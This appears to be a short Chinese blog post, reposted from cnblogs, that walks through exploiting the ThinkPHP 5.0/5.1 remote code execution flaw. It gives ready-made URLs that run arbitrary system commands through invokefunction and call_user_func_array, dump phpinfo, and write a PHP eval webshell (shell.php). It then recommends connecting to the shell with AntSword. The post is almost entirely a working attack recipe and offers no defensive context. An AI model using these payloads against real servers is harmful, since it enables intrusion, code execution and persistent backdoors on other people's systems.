Thinkphp 5.x 远程代码执行漏洞利用小记

Thinkphp 5.x远程代码执行漏洞存在于Thinkphp 5.0版本及5.1版本,通过此漏洞,可以在远程执行任意代码,也可写入webshell

下面是对其进行的漏洞利用!

漏洞利用:

  1,利用system函数远程执行任意代码:

    构造url为:  

    http://127.0.0.1/index.php           //这里是测试环境的主页
    ?s=index/thinkapp/invokefunction          //s变量是这个漏洞利用的主要变量
    &function=call_user_func_array               //漏洞存在于这个函数中
    &vars[0]=system             //这里使用了system函数进行代码执行
    &vars[1][]=pwd                //在这里输入想要执行的代码,这里是显示当前文件的路径

  2,利用phpinfo函数显示phpinfo:

    构造url为:

    http://127.0.0.1/index.php
    ?s=index/ hinkapp/invokefunction
    &function=call_user_func_array
    &vars[0]=phpinfo            //使用phpinfo函数
    &vars[1][]=1              

 

   3,利用file_put_contents函数写入webshell:

    构造url为:

    http://127.0.0.1/index.php
    ?s=index/thinkapp/invokefunction
    &function=call_user_func_array
    &vars[0]=file_put_contents          //使用file_put_contents函数
    &vars[1][]=shell.php             //webshell文件名
    &vars[1][]=<?php @eval($_POST['pass']);?>  //写入一句话木马,注意这里需要用POST,而不能用GET

回显30代表执行成功!

查看127.0.0.1/shell.php,查看源代码,查看是否成功写入

用蚁剑连接,这里用菜刀连会失败,尝试多次无果,不知是何原因,所以推荐使用蚁剑进行连接!

 

原文地址:https://www.cnblogs.com/scivous/p/13993562.html